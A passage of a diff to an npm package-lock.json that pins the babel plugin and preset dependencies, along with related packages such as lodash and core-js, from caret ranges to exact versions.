+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-class-constructor-call": {
@@ -1587,9 +1625,9 @@
"integrity": "sha1-gNwoVQWsBn3LjWxl4vbxGrd2Xvk=",
"dev": true,
"requires": {
- "babel-plugin-syntax-class-constructor-call": "^6.18.0",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-plugin-syntax-class-constructor-call": "6.18.0",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-class-properties": {
@@ -1598,10 +1636,10 @@
"integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=",
"dev": true,
"requires": {
- "babel-helper-function-name": "^6.24.1",
- "babel-plugin-syntax-class-properties": "^6.8.0",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-helper-function-name": "6.24.1",
+ "babel-plugin-syntax-class-properties": "6.13.0",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-decorators": {
@@ -1610,11 +1648,11 @@
"integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=",
"dev": true,
"requires": {
- "babel-helper-explode-class": "^6.24.1",
- "babel-plugin-syntax-decorators": "^6.13.0",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-explode-class": "6.24.1",
+ "babel-plugin-syntax-decorators": "6.13.0",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-do-expressions": {
@@ -1623,8 +1661,8 @@
"integrity": "sha1-KMyvkoEtlJws0SgfaQyP3EaK6bs=",
"dev": true,
"requires": {
- "babel-plugin-syntax-do-expressions": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-do-expressions": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-arrow-functions": {
@@ -1633,7 +1671,7 @@
"integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-block-scoped-functions": {
@@ -1642,7 +1680,7 @@
"integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-block-scoping": {
@@ -1651,11 +1689,11 @@
"integrity": "sha1-dsKV3DpHQbFmWt/TFnIV3P8ypXY=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1",
- "lodash": "^4.2.0"
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0",
+ "lodash": "4.17.10"
}
},
"babel-plugin-transform-es2015-classes": {
@@ -1664,15 +1702,15 @@
"integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=",
"dev": true,
"requires": {
- "babel-helper-define-map": "^6.24.1",
- "babel-helper-function-name": "^6.24.1",
- "babel-helper-optimise-call-expression": "^6.24.1",
- "babel-helper-replace-supers": "^6.24.1",
- "babel-messages": "^6.23.0",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-define-map": "6.24.1",
+ "babel-helper-function-name": "6.24.1",
+ "babel-helper-optimise-call-expression": "6.24.1",
+ "babel-helper-replace-supers": "6.24.1",
+ "babel-messages": "6.23.0",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-computed-properties": {
@@ -1681,8 +1719,8 @@
"integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-es2015-destructuring": {
@@ -1691,7 +1729,7 @@
"integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-duplicate-keys": {
@@ -1700,8 +1738,8 @@
"integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-for-of": {
@@ -1710,7 +1748,7 @@
"integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-function-name": {
@@ -1719,9 +1757,9 @@
"integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=",
"dev": true,
"requires": {
- "babel-helper-function-name": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-helper-function-name": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-literals": {
@@ -1730,7 +1768,7 @@
"integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-modules-amd": {
@@ -1739,9 +1777,9 @@
"integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=",
"dev": true,
"requires": {
- "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-plugin-transform-es2015-modules-commonjs": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-es2015-modules-commonjs": {
@@ -1750,10 +1788,10 @@
"integrity": "sha1-0+MQtA72ZKNmIiAAl8bUQCmPK/4=",
"dev": true,
"requires": {
- "babel-plugin-transform-strict-mode": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-plugin-transform-strict-mode": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-modules-systemjs": {
@@ -1762,9 +1800,9 @@
"integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=",
"dev": true,
"requires": {
- "babel-helper-hoist-variables": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-helper-hoist-variables": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-es2015-modules-umd": {
@@ -1773,9 +1811,9 @@
"integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=",
"dev": true,
"requires": {
- "babel-plugin-transform-es2015-modules-amd": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-plugin-transform-es2015-modules-amd": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-plugin-transform-es2015-object-super": {
@@ -1784,8 +1822,8 @@
"integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=",
"dev": true,
"requires": {
- "babel-helper-replace-supers": "^6.24.1",
- "babel-runtime": "^6.22.0"
+ "babel-helper-replace-supers": "6.24.1",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-parameters": {
@@ -1794,12 +1832,12 @@
"integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=",
"dev": true,
"requires": {
- "babel-helper-call-delegate": "^6.24.1",
- "babel-helper-get-function-arity": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-call-delegate": "6.24.1",
+ "babel-helper-get-function-arity": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-shorthand-properties": {
@@ -1808,8 +1846,8 @@
"integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-spread": {
@@ -1818,7 +1856,7 @@
"integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-sticky-regex": {
@@ -1827,9 +1865,9 @@
"integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=",
"dev": true,
"requires": {
- "babel-helper-regex": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-helper-regex": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-plugin-transform-es2015-template-literals": {
@@ -1838,7 +1876,7 @@
"integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-typeof-symbol": {
@@ -1847,7 +1885,7 @@
"integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-es2015-unicode-regex": {
@@ -1856,9 +1894,9 @@
"integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=",
"dev": true,
"requires": {
- "babel-helper-regex": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "regexpu-core": "^2.0.0"
+ "babel-helper-regex": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "regexpu-core": "2.0.0"
}
},
"babel-plugin-transform-exponentiation-operator": {
@@ -1867,9 +1905,9 @@
"integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=",
"dev": true,
"requires": {
- "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1",
- "babel-plugin-syntax-exponentiation-operator": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-helper-builder-binary-assignment-operator-visitor": "6.24.1",
+ "babel-plugin-syntax-exponentiation-operator": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-export-extensions": {
@@ -1878,8 +1916,8 @@
"integrity": "sha1-U3OLR+deghhYnuqUbLvTkQm75lM=",
"dev": true,
"requires": {
- "babel-plugin-syntax-export-extensions": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-export-extensions": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-flow-strip-types": {
@@ -1888,8 +1926,8 @@
"integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=",
"dev": true,
"requires": {
- "babel-plugin-syntax-flow": "^6.18.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-flow": "6.18.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-function-bind": {
@@ -1898,8 +1936,8 @@
"integrity": "sha1-xvuOlqwpajELjPjqQBRiQH3fapc=",
"dev": true,
"requires": {
- "babel-plugin-syntax-function-bind": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-function-bind": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-object-rest-spread": {
@@ -1908,8 +1946,8 @@
"integrity": "sha1-h11ryb52HFiirj/u5dxIldjH+SE=",
"dev": true,
"requires": {
- "babel-plugin-syntax-object-rest-spread": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-object-rest-spread": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-react-display-name": {
@@ -1918,7 +1956,7 @@
"integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-react-jsx": {
@@ -1927,9 +1965,9 @@
"integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=",
"dev": true,
"requires": {
- "babel-helper-builder-react-jsx": "^6.24.1",
- "babel-plugin-syntax-jsx": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-helper-builder-react-jsx": "6.26.0",
+ "babel-plugin-syntax-jsx": "6.18.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-react-jsx-self": {
@@ -1938,8 +1976,8 @@
"integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=",
"dev": true,
"requires": {
- "babel-plugin-syntax-jsx": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-jsx": "6.18.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-react-jsx-source": {
@@ -1948,8 +1986,8 @@
"integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=",
"dev": true,
"requires": {
- "babel-plugin-syntax-jsx": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-plugin-syntax-jsx": "6.18.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-regenerator": {
@@ -1967,8 +2005,8 @@
"integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-polyfill": {
@@ -1977,9 +2015,9 @@
"integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "core-js": "^2.5.0",
- "regenerator-runtime": "^0.10.5"
+ "babel-runtime": "6.26.0",
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.10.5"
},
"dependencies": {
"babel-runtime": {
@@ -1988,8 +2026,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.0"
},
"dependencies": {
"regenerator-runtime": {
@@ -2008,36 +2046,36 @@
"integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==",
"dev": true,
"requires": {
- "babel-plugin-check-es2015-constants": "^6.22.0",
- "babel-plugin-syntax-trailing-function-commas": "^6.22.0",
- "babel-plugin-transform-async-to-generator": "^6.22.0",
- "babel-plugin-transform-es2015-arrow-functions": "^6.22.0",
- "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0",
- "babel-plugin-transform-es2015-block-scoping": "^6.23.0",
- "babel-plugin-transform-es2015-classes": "^6.23.0",
- "babel-plugin-transform-es2015-computed-properties": "^6.22.0",
- "babel-plugin-transform-es2015-destructuring": "^6.23.0",
- "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0",
- "babel-plugin-transform-es2015-for-of": "^6.23.0",
- "babel-plugin-transform-es2015-function-name": "^6.22.0",
- "babel-plugin-transform-es2015-literals": "^6.22.0",
- "babel-plugin-transform-es2015-modules-amd": "^6.22.0",
- "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0",
- "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0",
- "babel-plugin-transform-es2015-modules-umd": "^6.23.0",
- "babel-plugin-transform-es2015-object-super": "^6.22.0",
- "babel-plugin-transform-es2015-parameters": "^6.23.0",
- "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0",
- "babel-plugin-transform-es2015-spread": "^6.22.0",
- "babel-plugin-transform-es2015-sticky-regex": "^6.22.0",
- "babel-plugin-transform-es2015-template-literals": "^6.22.0",
- "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0",
- "babel-plugin-transform-es2015-unicode-regex": "^6.22.0",
- "babel-plugin-transform-exponentiation-operator": "^6.22.0",
- "babel-plugin-transform-regenerator": "^6.22.0",
- "browserslist": "^3.2.6",
- "invariant": "^2.2.2",
- "semver": "^5.3.0"
+ "babel-plugin-check-es2015-constants": "6.22.0",
+ "babel-plugin-syntax-trailing-function-commas": "6.22.0",
+ "babel-plugin-transform-async-to-generator": "6.24.1",
+ "babel-plugin-transform-es2015-arrow-functions": "6.22.0",
+ "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0",
+ "babel-plugin-transform-es2015-block-scoping": "6.24.1",
+ "babel-plugin-transform-es2015-classes": "6.24.1",
+ "babel-plugin-transform-es2015-computed-properties": "6.24.1",
+ "babel-plugin-transform-es2015-destructuring": "6.23.0",
+ "babel-plugin-transform-es2015-duplicate-keys": "6.24.1",
+ "babel-plugin-transform-es2015-for-of": "6.23.0",
+ "babel-plugin-transform-es2015-function-name": "6.24.1",
+ "babel-plugin-transform-es2015-literals": "6.22.0",
+ "babel-plugin-transform-es2015-modules-amd": "6.24.1",
+ "babel-plugin-transform-es2015-modules-commonjs": "6.24.1",
+ "babel-plugin-transform-es2015-modules-systemjs": "6.24.1",
+ "babel-plugin-transform-es2015-modules-umd": "6.24.1",
+ "babel-plugin-transform-es2015-object-super": "6.24.1",
+ "babel-plugin-transform-es2015-parameters": "6.24.1",
+ "babel-plugin-transform-es2015-shorthand-properties": "6.24.1",
+ "babel-plugin-transform-es2015-spread": "6.22.0",
+ "babel-plugin-transform-es2015-sticky-regex": "6.24.1",
+ "babel-plugin-transform-es2015-template-literals": "6.22.0",
+ "babel-plugin-transform-es2015-typeof-symbol": "6.23.0",
+ "babel-plugin-transform-es2015-unicode-regex": "6.24.1",
+ "babel-plugin-transform-exponentiation-operator": "6.24.1",
+ "babel-plugin-transform-regenerator": "6.24.1",
+ "browserslist": "3.2.8",
+ "invariant": "2.2.2",
+ "semver": "5.5.0"
},
"dependencies": {
"semver": {
@@ -2054,30 +2092,30 @@
"integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=",
"dev": true,
"requires": {
- "babel-plugin-check-es2015-constants": "^6.22.0",
- "babel-plugin-transform-es2015-arrow-functions": "^6.22.0",
- "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0",
- "babel-plugin-transform-es2015-block-scoping": "^6.24.1",
- "babel-plugin-transform-es2015-classes": "^6.24.1",
- "babel-plugin-transform-es2015-computed-properties": "^6.24.1",
- "babel-plugin-transform-es2015-destructuring": "^6.22.0",
- "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1",
- "babel-plugin-transform-es2015-for-of": "^6.22.0",
- "babel-plugin-transform-es2015-function-name": "^6.24.1",
- "babel-plugin-transform-es2015-literals": "^6.22.0",
- "babel-plugin-transform-es2015-modules-amd": "^6.24.1",
- "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1",
- "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1",
- "babel-plugin-transform-es2015-modules-umd": "^6.24.1",
- "babel-plugin-transform-es2015-object-super": "^6.24.1",
- "babel-plugin-transform-es2015-parameters": "^6.24.1",
- "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1",
- "babel-plugin-transform-es2015-spread": "^6.22.0",
- "babel-plugin-transform-es2015-sticky-regex": "^6.24.1",
- "babel-plugin-transform-es2015-template-literals": "^6.22.0",
- "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0",
- "babel-plugin-transform-es2015-unicode-regex": "^6.24.1",
- "babel-plugin-transform-regenerator": "^6.24.1"
+ "babel-plugin-check-es2015-constants": "6.22.0",
+ "babel-plugin-transform-es2015-arrow-functions": "6.22.0",
+ "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0",
+ "babel-plugin-transform-es2015-block-scoping": "6.24.1",
+ "babel-plugin-transform-es2015-classes": "6.24.1",
+ "babel-plugin-transform-es2015-computed-properties": "6.24.1",
+ "babel-plugin-transform-es2015-destructuring": "6.23.0",
+ "babel-plugin-transform-es2015-duplicate-keys": "6.24.1",
+ "babel-plugin-transform-es2015-for-of": "6.23.0",
+ "babel-plugin-transform-es2015-function-name": "6.24.1",
+ "babel-plugin-transform-es2015-literals": "6.22.0",
+ "babel-plugin-transform-es2015-modules-amd": "6.24.1",
+ "babel-plugin-transform-es2015-modules-commonjs": "6.24.1",
+ "babel-plugin-transform-es2015-modules-systemjs": "6.24.1",
+ "babel-plugin-transform-es2015-modules-umd": "6.24.1",
+ "babel-plugin-transform-es2015-object-super": "6.24.1",
+ "babel-plugin-transform-es2015-parameters": "6.24.1",
+ "babel-plugin-transform-es2015-shorthand-properties": "6.24.1",
+ "babel-plugin-transform-es2015-spread": "6.22.0",
+ "babel-plugin-transform-es2015-sticky-regex": "6.24.1",
+ "babel-plugin-transform-es2015-template-literals": "6.22.0",
+ "babel-plugin-transform-es2015-typeof-symbol": "6.23.0",
+ "babel-plugin-transform-es2015-unicode-regex": "6.24.1",
+ "babel-plugin-transform-regenerator": "6.24.1"
}
},
"babel-preset-flow": {
@@ -2086,7 +2124,7 @@
"integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=",
"dev": true,
"requires": {
- "babel-plugin-transform-flow-strip-types": "^6.22.0"
+ "babel-plugin-transform-flow-strip-types": "6.22.0"
}
},
"babel-preset-react": {
@@ -2095,12 +2133,12 @@
"integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=",
"dev": true,
"requires": {
- "babel-plugin-syntax-jsx": "^6.3.13",
- "babel-plugin-transform-react-display-name": "^6.23.0",
- "babel-plugin-transform-react-jsx": "^6.24.1",
- "babel-plugin-transform-react-jsx-self": "^6.22.0",
- "babel-plugin-transform-react-jsx-source": "^6.22.0",
- "babel-preset-flow": "^6.23.0"
+ "babel-plugin-syntax-jsx": "6.18.0",
+ "babel-plugin-transform-react-display-name": "6.25.0",
+ "babel-plugin-transform-react-jsx": "6.24.1",
+ "babel-plugin-transform-react-jsx-self": "6.22.0",
+ "babel-plugin-transform-react-jsx-source": "6.22.0",
+ "babel-preset-flow": "6.23.0"
}
},
"babel-preset-stage-0": {
@@ -2109,9 +2147,9 @@
"integrity": "sha1-VkLRUEL5E4TX5a+LyIsduVsDnmo=",
"dev": true,
"requires": {
- "babel-plugin-transform-do-expressions": "^6.22.0",
- "babel-plugin-transform-function-bind": "^6.22.0",
- "babel-preset-stage-1": "^6.24.1"
+ "babel-plugin-transform-do-expressions": "6.22.0",
+ "babel-plugin-transform-function-bind": "6.22.0",
+ "babel-preset-stage-1": "6.24.1"
}
},
"babel-preset-stage-1": {
@@ -2120,9 +2158,9 @@
"integrity": "sha1-dpLNfc1oSZB+auSgqFWJz7niv7A=",
"dev": true,
"requires": {
- "babel-plugin-transform-class-constructor-call": "^6.24.1",
- "babel-plugin-transform-export-extensions": "^6.22.0",
- "babel-preset-stage-2": "^6.24.1"
+ "babel-plugin-transform-class-constructor-call": "6.24.1",
+ "babel-plugin-transform-export-extensions": "6.22.0",
+ "babel-preset-stage-2": "6.24.1"
}
},
"babel-preset-stage-2": {
@@ -2131,10 +2169,10 @@
"integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=",
"dev": true,
"requires": {
- "babel-plugin-syntax-dynamic-import": "^6.18.0",
- "babel-plugin-transform-class-properties": "^6.24.1",
- "babel-plugin-transform-decorators": "^6.24.1",
- "babel-preset-stage-3": "^6.24.1"
+ "babel-plugin-syntax-dynamic-import": "6.18.0",
+ "babel-plugin-transform-class-properties": "6.24.1",
+ "babel-plugin-transform-decorators": "6.24.1",
+ "babel-preset-stage-3": "6.24.1"
}
},
"babel-preset-stage-3": {
@@ -2143,11 +2181,11 @@
"integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=",
"dev": true,
"requires": {
- "babel-plugin-syntax-trailing-function-commas": "^6.22.0",
- "babel-plugin-transform-async-generator-functions": "^6.24.1",
- "babel-plugin-transform-async-to-generator": "^6.24.1",
- "babel-plugin-transform-exponentiation-operator": "^6.24.1",
- "babel-plugin-transform-object-rest-spread": "^6.22.0"
+ "babel-plugin-syntax-trailing-function-commas": "6.22.0",
+ "babel-plugin-transform-async-generator-functions": "6.24.1",
+ "babel-plugin-transform-async-to-generator": "6.24.1",
+ "babel-plugin-transform-exponentiation-operator": "6.24.1",
+ "babel-plugin-transform-object-rest-spread": "6.23.0"
}
},
"babel-register": {
@@ -2156,13 +2194,13 @@
"integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=",
"dev": true,
"requires": {
- "babel-core": "^6.26.0",
- "babel-runtime": "^6.26.0",
- "core-js": "^2.5.0",
- "home-or-tmp": "^2.0.0",
- "lodash": "^4.17.4",
- "mkdirp": "^0.5.1",
- "source-map-support": "^0.4.15"
+ "babel-core": "6.26.3",
+ "babel-runtime": "6.26.0",
+ "core-js": "2.6.9",
+ "home-or-tmp": "2.0.0",
+ "lodash": "4.17.10",
+ "mkdirp": "0.5.1",
+ "source-map-support": "0.4.18"
},
"dependencies": {
"babel-runtime": {
@@ -2171,8 +2209,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.1"
}
},
"regenerator-runtime": {
@@ -2188,8 +2226,8 @@
"resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz",
"integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=",
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.10.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.10.5"
}
},
"babel-template": {
@@ -2198,11 +2236,11 @@
"integrity": "sha1-ZlJBFmt8KqTGGdceGSlpVSsQwHE=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-traverse": "^6.25.0",
- "babel-types": "^6.25.0",
- "babylon": "^6.17.2",
- "lodash": "^4.2.0"
+ "babel-runtime": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0",
+ "babylon": "6.17.4",
+ "lodash": "4.17.10"
}
},
"babel-traverse": {
@@ -2211,15 +2249,15 @@
"integrity": "sha1-IldJfi/NGbie3BPEyROB+VEklvE=",
"dev": true,
"requires": {
- "babel-code-frame": "^6.22.0",
- "babel-messages": "^6.23.0",
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.25.0",
- "babylon": "^6.17.2",
- "debug": "^2.2.0",
- "globals": "^9.0.0",
- "invariant": "^2.2.0",
- "lodash": "^4.2.0"
+ "babel-code-frame": "6.22.0",
+ "babel-messages": "6.23.0",
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0",
+ "babylon": "6.17.4",
+ "debug": "2.6.8",
+ "globals": "9.18.0",
+ "invariant": "2.2.2",
+ "lodash": "4.17.10"
}
},
"babel-types": {
@@ -2228,10 +2266,10 @@
"integrity": "sha1-cK+ySNVmDl0Y+BHZHIMDtUE0oY4=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "esutils": "^2.0.2",
- "lodash": "^4.2.0",
- "to-fast-properties": "^1.0.1"
+ "babel-runtime": "6.25.0",
+ "esutils": "2.0.2",
+ "lodash": "4.17.10",
+ "to-fast-properties": "1.0.3"
}
},
"babylon": {
@@ -2257,13 +2295,13 @@
"integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
"dev": true,
"requires": {
- "cache-base": "^1.0.1",
- "class-utils": "^0.3.5",
- "component-emitter": "^1.2.1",
- "define-property": "^1.0.0",
- "isobject": "^3.0.1",
- "mixin-deep": "^1.2.0",
- "pascalcase": "^0.1.1"
+ "cache-base": "1.0.1",
+ "class-utils": "0.3.6",
+ "component-emitter": "1.3.0",
+ "define-property": "1.0.0",
+ "isobject": "3.0.1",
+ "mixin-deep": "1.3.2",
+ "pascalcase": "0.1.1"
},
"dependencies": {
"define-property": {
@@ -2272,7 +2310,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"is-accessor-descriptor": {
@@ -2281,7 +2319,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -2290,7 +2328,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
